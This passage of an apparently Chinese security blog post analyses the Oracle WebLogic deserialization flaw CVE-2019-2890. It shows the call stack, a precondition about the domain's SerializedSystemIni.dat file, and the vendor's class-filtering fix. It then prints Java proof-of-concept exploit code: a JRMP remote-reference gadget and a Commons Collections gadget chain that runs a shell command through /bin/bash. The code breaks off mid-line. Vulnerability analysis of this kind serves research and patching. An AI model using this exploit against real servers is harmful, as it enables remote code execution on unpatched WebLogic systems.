src="https://wechat2rss.xlab.app/img-proxy/?k=8a5ed61c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUABTRD1YGhiciajp7NjdRZJTq16VIE5YNytQxqddxfZK2IIsJFgYKKcBg%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.8527777777777777" style="width: 1212px;height: 1034px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a90abb39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU5ZNOF63tVgLUhrGa3BGH92Sib9wnTZJQNBgQ8iabic2ok0Dtek0CXIuibA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.18333333333333332" style="width: 1178px;height: 216px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3f0027ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUiaFaRcpRf0XgZHJlibRiav0ydp984V1EkGTBMW0HEKkibuQt0UJMrPN18g%2F640%3Fwx_fmt%3Dpng"/></p><p>调用栈如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">registerRefs</span><span class="code-snippet__selector-pseudo">:155</span>, <span class="code-snippet__selector-tag">DGCClient</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.transport</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">read</span><span class="code-snippet__selector-pseudo">:312</span>, <span class="code-snippet__selector-tag">LiveRef</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.transport</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readExternal</span><span class="code-snippet__selector-pseudo">:493</span>, <span class="code-snippet__selector-tag">UnicastRef</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:455</span>, <span class="code-snippet__selector-tag">RemoteObject</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke0</span><span class="code-snippet__selector-pseudo">:-1</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:62</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">DelegatingMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">Method</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invokeReadObject</span><span class="code-snippet__selector-pseudo">:1058</span>, <span class="code-snippet__selector-tag">ObjectStreamClass</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSerialData</span><span class="code-snippet__selector-pseudo">:2122</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:2013</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1535</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">defaultReadFields</span><span class="code-snippet__selector-pseudo">:2231</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSerialData</span><span class="code-snippet__selector-pseudo">:2155</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:2013</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1535</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:422</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSubject</span><span class="code-snippet__selector-pseudo">:168</span>, <span class="code-snippet__selector-tag">PersistentContext</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.wsee</span><span class="code-snippet__selector-class">.jaxws</span><span class="code-snippet__selector-class">.persistence</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:147</span>, <span class="code-snippet__selector-tag">PersistentContext</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.wsee</span><span class="code-snippet__selector-class">.jaxws</span><span class="code-snippet__selector-class">.persistence</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke0</span><span class="code-snippet__selector-pseudo">:-1</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:62</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">DelegatingMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">Method</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invokeReadObject</span><span class="code-snippet__selector-pseudo">:1058</span>, <span class="code-snippet__selector-tag">ObjectStreamClass</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSerialData</span><span class="code-snippet__selector-pseudo">:2122</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:2013</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1535</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:422</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:66</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">read</span><span class="code-snippet__selector-pseudo">:38</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readMsgAbbrevs</span><span class="code-snippet__selector-pseudo">:283</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">init</span><span class="code-snippet__selector-pseudo">:213</span>, <span class="code-snippet__selector-tag">MsgAbbrevInputStream</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:330</span>, <span class="code-snippet__selector-tag">MuxableSocketT3</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span><span class="code-snippet__selector-class">.t3</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:387</span>, <span class="code-snippet__selector-tag">BaseAbstractMuxableSocket</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocketOnce</span><span class="code-snippet__selector-pseudo">:967</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocket</span><span class="code-snippet__selector-pseudo">:899</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">processSockets</span><span class="code-snippet__selector-pseudo">:130</span>, <span class="code-snippet__selector-tag">PosixSocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:29</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:42</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:145</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:117</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code></pre></section><p>该漏洞存在一定的利用条件，构造poc时需要目标服务器weblogic当前使用域下的<span style="font-weight: bold;">SerializedSystemIni.dat文件</span>，否则将无法构造PersistentContext类或是目标服务器decrypt失败：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">docker cp weblogic1036jdk8u121:<span class="code-snippet__regexp">/u01/</span>app/oracle/Domains/ExampleSilentWTDomain/security/SerializedSystemIni.dat ./</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b62cf75f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUfKFibvnHsgXjyoaYhT6UubiaE0yV62noUteUOgsicJyyNqCP7RF0fNJCg%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2dd586eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUdNI3vrSh0QI4Lic6dEiboNLpW7TKp9wrV9uXPkZgYFfXuP1GiayE2Rf6Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>官方修复方案：</p><p>在PersistentContext类进行readSubject方法时新增WSFilteringObjectInputStream，其resolveClass方法仅允许Subject的子类进行后续反序列化操作：</p><p><img class="rich_pages wxw-img" data-ratio="0.3888888888888889" style="width: 1838px;height: 714px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fe415e62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUtqNNnHtAdd3zfOHbOP50ice9QAobwy2LTpBQ8vbrJicqhE62f77dAxiag%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.4666666666666667" style="width: 1794px;height: 838px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=62bbdbc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUxXPicWWONjMb7rbkQGfDmm9LqtOqiaomyzY1AkZ3YickSYuRpVrqwkRCQ%2F640%3Fwx_fmt%3Dpng"/></p><p>POC：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.server.UnicastRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.LiveRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.tcp.TCPEndpoint;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.kernel.KernelStatus;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.wsee.jaxws.persistence.PersistentContext;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.kernel.KernelStatus.*;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Proxy;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.registry.Registry;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.ObjID;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.RemoteObjectInvocationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Random;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2019_2890</span>  </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Registry <span class="code-snippet__title">getObject</span><span class="code-snippet__params">(String command)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> sep = command.indexOf(<span class="code-snippet__number">58</span>);</span></code><code><span class="code-snippet_outer">        String host;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> port;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (sep &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            port = (<span class="code-snippet__keyword">new</span> Random()).nextInt(<span class="code-snippet__number">65535</span>);</span></code><code><span class="code-snippet_outer">            host = command;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            host = command.substring(<span class="code-snippet__number">0</span>, sep);</span></code><code><span class="code-snippet_outer">            port = Integer.valueOf(command.substring(sep + <span class="code-snippet__number">1</span>));</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ObjID id = <span class="code-snippet__keyword">new</span> ObjID((<span class="code-snippet__keyword">new</span> Random()).nextInt());</span></code><code><span class="code-snippet_outer">        TCPEndpoint te = <span class="code-snippet__keyword">new</span> TCPEndpoint(host, port);</span></code><code><span class="code-snippet_outer">        UnicastRef ref = <span class="code-snippet__keyword">new</span> UnicastRef(<span class="code-snippet__keyword">new</span> LiveRef(id, te, <span class="code-snippet__keyword">false</span>));</span></code><code><span class="code-snippet_outer">        RemoteObjectInvocationHandler obj = <span class="code-snippet__keyword">new</span> RemoteObjectInvocationHandler(ref);</span></code><code><span class="code-snippet_outer">        Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), <span class="code-snippet__keyword">new</span> Class[]{Registry.class}, obj);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> proxy;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        System.setProperty(<span class="code-snippet__string">&#34;com.bea.core.internal.client&#34;</span>,<span class="code-snippet__string">&#34;true&#34;</span>);</span></code><code><span class="code-snippet_outer">        PersistentContext pc = <span class="code-snippet__keyword">new</span> PersistentContext(<span class="code-snippet__keyword">null</span>,<span class="code-snippet__keyword">null</span>,<span class="code-snippet__keyword">null</span>,<span class="code-snippet__keyword">null</span>,<span class="code-snippet__keyword">null</span>, POC.getObject());</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(pc);</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//cc5 poc</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections.Transformer;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.collections.map.LazyMap;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.management.BadAttributeValueExpException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.HashMap;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Map;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">POC</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Object <span class="code-snippet__title">getObject</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        String enableUnsafeSerialization = System.getProperty(<span class="code-snippet__string">&#34;org.apache.commons.collections.enableUnsafeSerialization&#34;</span>);</span></code><code><span class="code-snippet_outer">        System.setProperty(<span class="code-snippet__string">&#34;org.apache.commons.collections.enableUnsafeSerialization&#34;</span>, <span class="code-snippet__string">&#34;true&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        String cmd = &#34;touch /tmp/success123&#34;;</span></span></code><code><span class="code-snippet_outer">        String cmd = <span class="code-snippet__string">&#34;open -a Calculator.app&#34;</span>;</span></code><code><span class="code-snippet_outer">        Transformer[] tarray = <span class="code-snippet__keyword">new</span> Transformer[]</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">new</span> ConstantTransformer(Runtime.class),</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;getMethod&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{String.class, Class[].class}, <span class="code-snippet__keyword">new</span> Object[]{<span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>]}),</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;invoke&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{Object.class, Object[].class}, <span class="code-snippet__keyword">new</span> Object[]{<span class="code-snippet__keyword">null</span>, <span class="code-snippet__keyword">new</span> Object[<span class="code-snippet__number">0</span>]}),</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;exec&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{String[].class}, <span class="code-snippet__keyword">new</span> Object[]{<span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;/bin/bash&#34;</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, cmd}})</span></code><code><span class="code-snippet_outer">                };</span></code><code><span class="code-snippet_outer">        Transformer chainedTransformer = <span class="code-snippet__keyword">new</span> ChainedTransformer(tarray);</span></code><code><span class="code-snippet_outer">        Map lazyMap = LazyMap.decorate(<span class="code-snippet__keyword">new</span> HashMap(), chainedTransformer);</span></code><code><span class="code-snippet_outer">        TiedMapEntry tiedMapEntry = <span class="code-snippet__keyword">new</span> TiedMapEntry(lazyMap, <span class="code-snippet__string">&#34;a&#34;</span>);</span></code><code><span class="code-snippet_outer">        BadAttributeValueExpException badAttributeValueExpException = <span class="code-snippet__keyword">new</span> BadAttributeValueExpException(<span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">        setValue(badAttributeValueExpException, <span 